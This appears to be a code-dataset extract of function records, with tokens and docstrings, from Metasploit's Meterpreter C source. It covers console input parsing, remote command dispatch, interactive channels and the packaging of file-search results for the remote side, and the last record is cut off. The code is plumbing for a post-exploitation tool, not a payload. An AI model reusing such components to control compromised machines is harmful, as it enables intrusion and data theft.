[ { "param": "fmt", "type": "LPCSTR" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "fmt", "type": "LPCSTR", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_write_output_raw
VOID
VOID console_write_output_raw(PUCHAR buf, ULONG length) { HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE); DWORD written = 0; WriteFile(pStdout, buf, length, &written, NULL); }
/* * Write raw output to the console */
Write raw output to the console
[ "Write", "raw", "output", "to", "the", "console" ]
VOID console_write_output_raw(PUCHAR buf, ULONG length) { HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE); DWORD written = 0; WriteFile(pStdout, buf, length, &written, NULL); }
[ "VOID", "console_write_output_raw", "(", "PUCHAR", "buf", ",", "ULONG", "length", ")", "{", "HANDLE", "pStdout", "=", "GetStdHandle", "(", "STD_OUTPUT_HANDLE", ")", ";", "DWORD", "written", "=", "0", ";", "WriteFile", "(", "pStdout", ",", "buf", ",", "length", ",", "&", "written", ",", "NULL", ")", ";", "}" ]
Write raw output to the console
[ "Write", "raw", "output", "to", "the", "console" ]
[]
[ { "param": "buf", "type": "PUCHAR" }, { "param": "length", "type": "ULONG" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "buf", "type": "PUCHAR", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "length", "type": "ULONG", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_write_prompt
VOID
VOID console_write_prompt() { fprintf(stdout, "meterpreter> "); fflush(stdout); }
/* * Write the console prompt to the screen */
Write the console prompt to the screen
[ "Write", "the", "console", "prompt", "to", "the", "screen" ]
VOID console_write_prompt() { fprintf(stdout, "meterpreter> "); fflush(stdout); }
[ "VOID", "console_write_prompt", "(", ")", "{", "fprintf", "(", "stdout", ",", "\"", "\"", ")", ";", "fflush", "(", "stdout", ")", ";", "}" ]
Write the console prompt to the screen
[ "Write", "the", "console", "prompt", "to", "the", "screen" ]
[]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_check_escape_sent
BOOL
BOOL console_check_escape_sent() { BOOL escapeSent = FALSE; INPUT_RECORD r[32]; DWORD numRead = 0; if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE), r, 32, &numRead)) { DWORD index = 0; for (index = 0; (!escapeSent) && (index < numRead); index++) { if (r[index].EventType != KEY_EVENT) continue; // If the control key is pressed and the VK is escape.. if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE) escapeSent = TRUE; } } return escapeSent; }
/* * Check to see if an escape sequence has been sent to the console * * The escape sequence is: ESC */
Check to see if an escape sequence has been sent to the console The escape sequence is: ESC
[ "Check", "to", "see", "if", "an", "escape", "sequence", "has", "been", "sent", "to", "the", "console", "The", "escape", "sequence", "is", ":", "ESC" ]
BOOL console_check_escape_sent() { BOOL escapeSent = FALSE; INPUT_RECORD r[32]; DWORD numRead = 0; if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE), r, 32, &numRead)) { DWORD index = 0; for (index = 0; (!escapeSent) && (index < numRead); index++) { if (r[index].EventType != KEY_EVENT) continue; if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE) escapeSent = TRUE; } } return escapeSent; }
[ "BOOL", "console_check_escape_sent", "(", ")", "{", "BOOL", "escapeSent", "=", "FALSE", ";", "INPUT_RECORD", "r", "[", "32", "]", ";", "DWORD", "numRead", "=", "0", ";", "if", "(", "PeekConsoleInput", "(", "GetStdHandle", "(", "STD_INPUT_HANDLE", ")", ",", "r", ",", "32", ",", "&", "numRead", ")", ")", "{", "DWORD", "index", "=", "0", ";", "for", "(", "index", "=", "0", ";", "(", "!", "escapeSent", ")", "&&", "(", "index", "<", "numRead", ")", ";", "index", "++", ")", "{", "if", "(", "r", "[", "index", "]", ".", "EventType", "!=", "KEY_EVENT", ")", "continue", ";", "if", "(", "r", "[", "index", "]", ".", "Event", ".", "KeyEvent", ".", "wVirtualKeyCode", "==", "VK_ESCAPE", ")", "escapeSent", "=", "TRUE", ";", "}", "}", "return", "escapeSent", ";", "}" ]
Check to see if an escape sequence has been sent to the console
[ "Check", "to", "see", "if", "an", "escape", "sequence", "has", "been", "sent", "to", "the", "console" ]
[ "// If the control key is pressed and the VK is escape..\r" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_set_interactive_channel
VOID
VOID console_set_interactive_channel(Remote *remote, Channel *channel) { // If an interactive channel is use, unset the interactive flag if (interactiveChannel) channel_interact(interactiveChannel, remote, NULL, 0, FALSE, NULL); interactiveChannel = channel; interactiveChannelId = (channel) ? channel_get_id(channel) : 0; }
/* * Set the interactive channel for input/output overriding */
Set the interactive channel for input/output overriding
[ "Set", "the", "interactive", "channel", "for", "input", "/", "output", "overriding" ]
VOID console_set_interactive_channel(Remote *remote, Channel *channel) { if (interactiveChannel) channel_interact(interactiveChannel, remote, NULL, 0, FALSE, NULL); interactiveChannel = channel; interactiveChannelId = (channel) ? channel_get_id(channel) : 0; }
[ "VOID", "console_set_interactive_channel", "(", "Remote", "*", "remote", ",", "Channel", "*", "channel", ")", "{", "if", "(", "interactiveChannel", ")", "channel_interact", "(", "interactiveChannel", ",", "remote", ",", "NULL", ",", "0", ",", "FALSE", ",", "NULL", ")", ";", "interactiveChannel", "=", "channel", ";", "interactiveChannelId", "=", "(", "channel", ")", "?", "channel_get_id", "(", "channel", ")", ":", "0", ";", "}" ]
Set the interactive channel for input/output overriding
[ "Set", "the", "interactive", "channel", "for", "input", "/", "output", "overriding" ]
[ "// If an interactive channel is use, unset the interactive flag\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "channel", "type": "Channel" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "channel", "type": "Channel", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_remote_notify
DWORD
DWORD console_remote_notify(Remote *remote, HANDLE notify) { DWORD res; ResetEvent(notify); res = command_process_remote(remote, NULL); return res; }
/* * Process a remote cmomand when data is available */
Process a remote cmomand when data is available
[ "Process", "a", "remote", "cmomand", "when", "data", "is", "available" ]
DWORD console_remote_notify(Remote *remote, HANDLE notify) { DWORD res; ResetEvent(notify); res = command_process_remote(remote, NULL); return res; }
[ "DWORD", "console_remote_notify", "(", "Remote", "*", "remote", ",", "HANDLE", "notify", ")", "{", "DWORD", "res", ";", "ResetEvent", "(", "notify", ")", ";", "res", "=", "command_process_remote", "(", "remote", ",", "NULL", ")", ";", "return", "res", ";", "}" ]
Process a remote cmomand when data is available
[ "Process", "a", "remote", "cmomand", "when", "data", "is", "available" ]
[]
[ { "param": "remote", "type": "Remote" }, { "param": "notify", "type": "HANDLE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "notify", "type": "HANDLE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_process_commands
VOID
VOID console_process_commands(Remote *remote) { SOCKET fd = remote_get_fd(remote); struct timeval tv; fd_set fdread; LONG r; console_write_prompt(); // Execute the scheduler in a loop while (1) { FD_ZERO(&fdread); FD_SET(fd, &fdread); tv.tv_sec = 0; tv.tv_usec = 100; if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0) { LONG bytes = 0; ioctlsocket(fd, FIONREAD, &bytes); if (bytes == 0) { console_write_output( "\n" "Connection reset by peer.\n"); break; } command_process_remote(remote, NULL); } else if (r < 0) break; scheduler_run(remote, 0); } }
/* * Process console commands in a loop * * I would use the scheduler but allowing the file descriptor to drop * into non-blocking mode makes things annoying. */
Process console commands in a loop I would use the scheduler but allowing the file descriptor to drop into non-blocking mode makes things annoying.
[ "Process", "console", "commands", "in", "a", "loop", "I", "would", "use", "the", "scheduler", "but", "allowing", "the", "file", "descriptor", "to", "drop", "into", "non", "-", "blocking", "mode", "makes", "things", "annoying", "." ]
VOID console_process_commands(Remote *remote) { SOCKET fd = remote_get_fd(remote); struct timeval tv; fd_set fdread; LONG r; console_write_prompt(); while (1) { FD_ZERO(&fdread); FD_SET(fd, &fdread); tv.tv_sec = 0; tv.tv_usec = 100; if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0) { LONG bytes = 0; ioctlsocket(fd, FIONREAD, &bytes); if (bytes == 0) { console_write_output( "\n" "Connection reset by peer.\n"); break; } command_process_remote(remote, NULL); } else if (r < 0) break; scheduler_run(remote, 0); } }
[ "VOID", "console_process_commands", "(", "Remote", "*", "remote", ")", "{", "SOCKET", "fd", "=", "remote_get_fd", "(", "remote", ")", ";", "struct", "timeval", "tv", ";", "fd_set", "fdread", ";", "LONG", "r", ";", "console_write_prompt", "(", ")", ";", "while", "(", "1", ")", "{", "FD_ZERO", "(", "&", "fdread", ")", ";", "FD_SET", "(", "fd", ",", "&", "fdread", ")", ";", "tv", ".", "tv_sec", "=", "0", ";", "tv", ".", "tv_usec", "=", "100", ";", "if", "(", "(", "r", "=", "select", "(", "fd", "+", "1", ",", "&", "fdread", ",", "NULL", ",", "NULL", ",", "&", "tv", ")", ")", ">", "0", ")", "{", "LONG", "bytes", "=", "0", ";", "ioctlsocket", "(", "fd", ",", "FIONREAD", ",", "&", "bytes", ")", ";", "if", "(", "bytes", "==", "0", ")", "{", "console_write_output", "(", "\"", "\\n", "\"", "\"", "\\n", "\"", ")", ";", "break", ";", "}", "command_process_remote", "(", "remote", ",", "NULL", ")", ";", "}", "else", "if", "(", "r", "<", "0", ")", "break", ";", "scheduler_run", "(", "remote", ",", "0", ")", ";", "}", "}" ]
Process console commands in a loop
[ "Process", "console", "commands", "in", "a", "loop" ]
[ "// Execute the scheduler in a loop\r" ]
[ { "param": "remote", "type": "Remote" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_read_buffer
VOID
VOID console_read_buffer(Remote *remote) { DWORD newInputBufferLength, stringLength, offset; Channel *interactiveChannel; PCHAR newInputBuffer; BOOL process = FALSE; CHAR buf[4096]; PCHAR eoln, eolr; LONG bytesRead; // Ensure null termination buf[sizeof(buf) - 1] = 0; do { // Is there data available? if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE) != WAIT_OBJECT_0) break; // If a console escape character was sent and we're currently interactive, // break out of interactive mode if ((console_check_escape_sent()) && (console_get_interactive_channel())) { console_set_interactive_channel(remote, NULL); console_write_output( "\n" "\n" "Exiting interactive mode..\n"); console_write_prompt(); } // Read the command if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE), buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0)) break; buf[bytesRead] = 0; // If an interactive channel is in use, write directly to it. if ((interactiveChannel = console_get_interactive_channel())) { channel_write(interactiveChannel, remote, NULL, 0, buf, bytesRead, NULL); break; } if ((eoln = strchr(buf, '\n'))) { *eoln = 0; process = TRUE; } // Remove end of line characters if ((eolr = strchr(buf, '\r'))) *eolr = 0; // Calculate lengths stringLength = strlen(buf); newInputBufferLength = inputBufferLength + stringLength; if (inputBuffer) newInputBuffer = (PCHAR)realloc(inputBuffer, newInputBufferLength); else newInputBuffer = (PCHAR)malloc(++newInputBufferLength); // Allocation failure? if (!newInputBuffer) break; if ((offset = inputBufferLength)) offset--; // Copy the string memcpy(newInputBuffer + offset, buf, stringLength); // Update the input buffer inputBuffer = newInputBuffer; inputBufferLength = newInputBufferLength; // Process the full command line if it's completed if (process) { inputBuffer[inputBufferLength - 1] = 0; client_acquire_lock(); console_process_command(remote); client_release_lock(); free(inputBuffer); inputBuffer = NULL; inputBufferLength = 0; console_write_prompt(); } } while (0); }
/* * Reads in data from the input device, potentially calling the * command processing function if a complete command has been read. */
Reads in data from the input device, potentially calling the command processing function if a complete command has been read.
[ "Reads", "in", "data", "from", "the", "input", "device", "potentially", "calling", "the", "command", "processing", "function", "if", "a", "complete", "command", "has", "been", "read", "." ]
VOID console_read_buffer(Remote *remote) { DWORD newInputBufferLength, stringLength, offset; Channel *interactiveChannel; PCHAR newInputBuffer; BOOL process = FALSE; CHAR buf[4096]; PCHAR eoln, eolr; LONG bytesRead; buf[sizeof(buf) - 1] = 0; do { if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE) != WAIT_OBJECT_0) break; if ((console_check_escape_sent()) && (console_get_interactive_channel())) { console_set_interactive_channel(remote, NULL); console_write_output( "\n" "\n" "Exiting interactive mode..\n"); console_write_prompt(); } if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE), buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0)) break; buf[bytesRead] = 0; if ((interactiveChannel = console_get_interactive_channel())) { channel_write(interactiveChannel, remote, NULL, 0, buf, bytesRead, NULL); break; } if ((eoln = strchr(buf, '\n'))) { *eoln = 0; process = TRUE; } if ((eolr = strchr(buf, '\r'))) *eolr = 0; stringLength = strlen(buf); newInputBufferLength = inputBufferLength + stringLength; if (inputBuffer) newInputBuffer = (PCHAR)realloc(inputBuffer, newInputBufferLength); else newInputBuffer = (PCHAR)malloc(++newInputBufferLength); if (!newInputBuffer) break; if ((offset = inputBufferLength)) offset--; memcpy(newInputBuffer + offset, buf, stringLength); inputBuffer = newInputBuffer; inputBufferLength = newInputBufferLength; if (process) { inputBuffer[inputBufferLength - 1] = 0; client_acquire_lock(); console_process_command(remote); client_release_lock(); free(inputBuffer); inputBuffer = NULL; inputBufferLength = 0; console_write_prompt(); } } while (0); }
[ "VOID", "console_read_buffer", "(", "Remote", "*", "remote", ")", "{", "DWORD", "newInputBufferLength", ",", "stringLength", ",", "offset", ";", "Channel", "*", "interactiveChannel", ";", "PCHAR", "newInputBuffer", ";", "BOOL", "process", "=", "FALSE", ";", "CHAR", "buf", "[", "4096", "]", ";", "PCHAR", "eoln", ",", "eolr", ";", "LONG", "bytesRead", ";", "buf", "[", "sizeof", "(", "buf", ")", "-", "1", "]", "=", "0", ";", "do", "{", "if", "(", "WaitForSingleObject", "(", "GetStdHandle", "(", "STD_INPUT_HANDLE", ")", ",", "INFINITE", ")", "!=", "WAIT_OBJECT_0", ")", "break", ";", "if", "(", "(", "console_check_escape_sent", "(", ")", ")", "&&", "(", "console_get_interactive_channel", "(", ")", ")", ")", "{", "console_set_interactive_channel", "(", "remote", ",", "NULL", ")", ";", "console_write_output", "(", "\"", "\\n", "\"", "\"", "\\n", "\"", "\"", "\\n", "\"", ")", ";", "console_write_prompt", "(", ")", ";", "}", "if", "(", "(", "!", "ReadConsole", "(", "GetStdHandle", "(", "STD_INPUT_HANDLE", ")", ",", "buf", ",", "sizeof", "(", "buf", ")", "-", "1", ",", "&", "bytesRead", ",", "NULL", ")", ")", "||", "(", "bytesRead", "<=", "0", ")", ")", "break", ";", "buf", "[", "bytesRead", "]", "=", "0", ";", "if", "(", "(", "interactiveChannel", "=", "console_get_interactive_channel", "(", ")", ")", ")", "{", "channel_write", "(", "interactiveChannel", ",", "remote", ",", "NULL", ",", "0", ",", "buf", ",", "bytesRead", ",", "NULL", ")", ";", "break", ";", "}", "if", "(", "(", "eoln", "=", "strchr", "(", "buf", ",", "'", "\\n", "'", ")", ")", ")", "{", "*", "eoln", "=", "0", ";", "process", "=", "TRUE", ";", "}", "if", "(", "(", "eolr", "=", "strchr", "(", "buf", ",", "'", "\\r", "'", ")", ")", ")", "*", "eolr", "=", "0", ";", "stringLength", "=", "strlen", "(", "buf", ")", ";", "newInputBufferLength", "=", "inputBufferLength", "+", "stringLength", ";", "if", "(", "inputBuffer", ")", "newInputBuffer", "=", "(", "PCHAR", ")", "realloc", "(", "inputBuffer", ",", "newInputBufferLength", ")", ";", "else", "newInputBuffer", "=", "(", "PCHAR", ")", "malloc", "(", "++", "newInputBufferLength", ")", ";", "if", "(", "!", "newInputBuffer", ")", "break", ";", "if", "(", "(", "offset", "=", "inputBufferLength", ")", ")", "offset", "--", ";", "memcpy", "(", "newInputBuffer", "+", "offset", ",", "buf", ",", "stringLength", ")", ";", "inputBuffer", "=", "newInputBuffer", ";", "inputBufferLength", "=", "newInputBufferLength", ";", "if", "(", "process", ")", "{", "inputBuffer", "[", "inputBufferLength", "-", "1", "]", "=", "0", ";", "client_acquire_lock", "(", ")", ";", "console_process_command", "(", "remote", ")", ";", "client_release_lock", "(", ")", ";", "free", "(", "inputBuffer", ")", ";", "inputBuffer", "=", "NULL", ";", "inputBufferLength", "=", "0", ";", "console_write_prompt", "(", ")", ";", "}", "}", "while", "(", "0", ")", ";", "}" ]
Reads in data from the input device, potentially calling the command processing function if a complete command has been read.
[ "Reads", "in", "data", "from", "the", "input", "device", "potentially", "calling", "the", "command", "processing", "function", "if", "a", "complete", "command", "has", "been", "read", "." ]
[ "// Ensure null termination\r", "// Is there data available?\r", "// If a console escape character was sent and we're currently interactive,\r", "// break out of interactive mode\r", "// Read the command\r", "// If an interactive channel is in use, write directly to it.\r", "// Remove end of line characters\r", "// Calculate lengths\r", "// Allocation failure?\r", "// Copy the string\r", "// Update the input buffer\r", "// Process the full command line if it's completed\r" ]
[ { "param": "remote", "type": "Remote" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_process_command
VOID
VOID console_process_command(Remote *remote) { CHAR **argv = NULL, *current; ConsoleCommand *command = NULL; UINT argc, index; do { // Calculate the number of arguments for (current = inputBuffer, argc = 1; current = strchr(current, ' '); current++, argc++); current = inputBuffer; index = 0; if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc))) break; // Populate the argument vector while (1) { CHAR *space = NULL, *edquote = NULL; // If the first character of the current argument is a quote, // find the next quote. if (current[0] == '"') { if ((edquote = strchr(current + 1, '"'))) *edquote = 0; } else if ((space = strchr(current, ' '))) *space = 0; // If we're using quoting for this argument, skip one past current. argv[index++] = _strdup(current + ((edquote) ? 1 : 0)); current = ((edquote) ? edquote : space) + 1; if (space) *space = ' '; else if (edquote) *edquote = '"'; else break; } // Find the command for (index = 0; consoleCommands[index].name; index++) { if (!strcmp(consoleCommands[index].name, argv[0])) { command = &consoleCommands[index]; break; } } // If the command was not found in the default command list, try looking // in the extended list if (!command) { for (command = extendedCommandsHead; command; command = command->next) { if (!strcmp(command->name, argv[0])) break; } } // The command was not found. if ((!command) || (!command->name)) break; command->handler(remote, argc, argv); } while (0); // Cleanup argv if (argv) { for (index = 0; index < argc; index++) free(argv[index]); free(argv); } }
/* * Parse the local command into an argument vector * * TODO: * * - Add character unescaping (\x01) */
Parse the local command into an argument vector - Add character unescaping (\x01)
[ "Parse", "the", "local", "command", "into", "an", "argument", "vector", "-", "Add", "character", "unescaping", "(", "\\", "x01", ")" ]
VOID console_process_command(Remote *remote) { CHAR **argv = NULL, *current; ConsoleCommand *command = NULL; UINT argc, index; do { for (current = inputBuffer, argc = 1; current = strchr(current, ' '); current++, argc++); current = inputBuffer; index = 0; if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc))) break; while (1) { CHAR *space = NULL, *edquote = NULL; if (current[0] == '"') { if ((edquote = strchr(current + 1, '"'))) *edquote = 0; } else if ((space = strchr(current, ' '))) *space = 0; argv[index++] = _strdup(current + ((edquote) ? 1 : 0)); current = ((edquote) ? edquote : space) + 1; if (space) *space = ' '; else if (edquote) *edquote = '"'; else break; } for (index = 0; consoleCommands[index].name; index++) { if (!strcmp(consoleCommands[index].name, argv[0])) { command = &consoleCommands[index]; break; } } if (!command) { for (command = extendedCommandsHead; command; command = command->next) { if (!strcmp(command->name, argv[0])) break; } } if ((!command) || (!command->name)) break; command->handler(remote, argc, argv); } while (0); if (argv) { for (index = 0; index < argc; index++) free(argv[index]); free(argv); } }
[ "VOID", "console_process_command", "(", "Remote", "*", "remote", ")", "{", "CHAR", "*", "*", "argv", "=", "NULL", ",", "*", "current", ";", "ConsoleCommand", "*", "command", "=", "NULL", ";", "UINT", "argc", ",", "index", ";", "do", "{", "for", "(", "current", "=", "inputBuffer", ",", "argc", "=", "1", ";", "current", "=", "strchr", "(", "current", ",", "'", "'", ")", ";", "current", "++", ",", "argc", "++", ")", ";", "current", "=", "inputBuffer", ";", "index", "=", "0", ";", "if", "(", "!", "(", "argv", "=", "(", "CHAR", "*", "*", ")", "malloc", "(", "sizeof", "(", "PCHAR", ")", "*", "argc", ")", ")", ")", "break", ";", "while", "(", "1", ")", "{", "CHAR", "*", "space", "=", "NULL", ",", "*", "edquote", "=", "NULL", ";", "if", "(", "current", "[", "0", "]", "==", "'", "'", ")", "{", "if", "(", "(", "edquote", "=", "strchr", "(", "current", "+", "1", ",", "'", "'", ")", ")", ")", "*", "edquote", "=", "0", ";", "}", "else", "if", "(", "(", "space", "=", "strchr", "(", "current", ",", "'", "'", ")", ")", ")", "*", "space", "=", "0", ";", "argv", "[", "index", "++", "]", "=", "_strdup", "(", "current", "+", "(", "(", "edquote", ")", "?", "1", ":", "0", ")", ")", ";", "current", "=", "(", "(", "edquote", ")", "?", "edquote", ":", "space", ")", "+", "1", ";", "if", "(", "space", ")", "*", "space", "=", "'", "'", ";", "else", "if", "(", "edquote", ")", "*", "edquote", "=", "'", "'", ";", "else", "break", ";", "}", "for", "(", "index", "=", "0", ";", "consoleCommands", "[", "index", "]", ".", "name", ";", "index", "++", ")", "{", "if", "(", "!", "strcmp", "(", "consoleCommands", "[", "index", "]", ".", "name", ",", "argv", "[", "0", "]", ")", ")", "{", "command", "=", "&", "consoleCommands", "[", "index", "]", ";", "break", ";", "}", "}", "if", "(", "!", "command", ")", "{", "for", "(", "command", "=", "extendedCommandsHead", ";", "command", ";", "command", "=", "command", "->", "next", ")", "{", "if", "(", "!", "strcmp", "(", "command", "->", "name", ",", "argv", "[", "0", "]", ")", ")", "break", ";", "}", "}", "if", "(", "(", "!", "command", ")", "||", "(", "!", "command", "->", "name", ")", ")", "break", ";", "command", "->", "handler", "(", "remote", ",", "argc", ",", "argv", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "argv", ")", "{", "for", "(", "index", "=", "0", ";", "index", "<", "argc", ";", "index", "++", ")", "free", "(", "argv", "[", "index", "]", ")", ";", "free", "(", "argv", ")", ";", "}", "}" ]
Parse the local command into an argument vector
[ "Parse", "the", "local", "command", "into", "an", "argument", "vector" ]
[ "// Calculate the number of arguments\r", "// Populate the argument vector\r", "// If the first character of the current argument is a quote,\r", "// find the next quote.\r", "// If we're using quoting for this argument, skip one past current.\r", "// Find the command\r", "// If the command was not found in the default command list, try looking\r", "// in the extended list\r", "// The command was not found.\r", "// Cleanup argv\r" ]
[ { "param": "remote", "type": "Remote" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
search_add_result
VOID
VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileName, DWORD dwFileSize ) { Tlv entry[3] = {0}; DWORD dwSize = 0; do { entry[0].header.type = TLV_TYPE_FILE_PATH; entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 ); entry[0].buffer = cpDirectory; entry[1].header.type = TLV_TYPE_FILE_NAME; entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 ); entry[1].buffer = cpFileName; dwSize = htonl( dwFileSize ); entry[2].header.type = TLV_TYPE_FILE_SIZE; entry[2].header.length = sizeof(DWORD); entry[2].buffer = (PUCHAR)&dwSize; packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 ); } while( 0 ); }
/* * Helper function to add a search result to the response packet. */
Helper function to add a search result to the response packet.
[ "Helper", "function", "to", "add", "a", "search", "result", "to", "the", "response", "packet", "." ]
VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileName, DWORD dwFileSize ) { Tlv entry[3] = {0}; DWORD dwSize = 0; do { entry[0].header.type = TLV_TYPE_FILE_PATH; entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 ); entry[0].buffer = cpDirectory; entry[1].header.type = TLV_TYPE_FILE_NAME; entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 ); entry[1].buffer = cpFileName; dwSize = htonl( dwFileSize ); entry[2].header.type = TLV_TYPE_FILE_SIZE; entry[2].header.length = sizeof(DWORD); entry[2].buffer = (PUCHAR)&dwSize; packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 ); } while( 0 ); }
[ "VOID", "search_add_result", "(", "Packet", "*", "pResponse", ",", "char", "*", "cpDirectory", ",", "char", "*", "cpFileName", ",", "DWORD", "dwFileSize", ")", "{", "Tlv", "entry", "[", "3", "]", "=", "{", "0", "}", ";", "DWORD", "dwSize", "=", "0", ";", "do", "{", "entry", "[", "0", "]", ".", "header", ".", "type", "=", "TLV_TYPE_FILE_PATH", ";", "entry", "[", "0", "]", ".", "header", ".", "length", "=", "(", "DWORD", ")", "(", "strlen", "(", "cpDirectory", ")", "+", "1", ")", ";", "entry", "[", "0", "]", ".", "buffer", "=", "cpDirectory", ";", "entry", "[", "1", "]", ".", "header", ".", "type", "=", "TLV_TYPE_FILE_NAME", ";", "entry", "[", "1", "]", ".", "header", ".", "length", "=", "(", "DWORD", ")", "(", "strlen", "(", "cpFileName", ")", "+", "1", ")", ";", "entry", "[", "1", "]", ".", "buffer", "=", "cpFileName", ";", "dwSize", "=", "htonl", "(", "dwFileSize", ")", ";", "entry", "[", "2", "]", ".", "header", ".", "type", "=", "TLV_TYPE_FILE_SIZE", ";", "entry", "[", "2", "]", ".", "header", ".", "length", "=", "sizeof", "(", "DWORD", ")", ";", "entry", "[", "2", "]", ".", "buffer", "=", "(", "PUCHAR", ")", "&", "dwSize", ";", "packet_add_tlv_group", "(", "pResponse", ",", "TLV_TYPE_SEARCH_RESULTS", ",", "entry", ",", "3", ")", ";", "}", "while", "(", "0", ")", ";", "}" ]
Helper function to add a search result to the response packet.
[ "Helper", "function", "to", "add", "a", "search", "result", "to", "the", "response", "packet", "." ]
[]
[ { "param": "pResponse", "type": "Packet" }, { "param": "cpDirectory", "type": "char" }, { "param": "cpFileName", "type": "char" }, { "param": "dwFileSize", "type": "DWORD" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pResponse", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpFileName", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "dwFileSize", "type": "DWORD", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds_startup
VOID
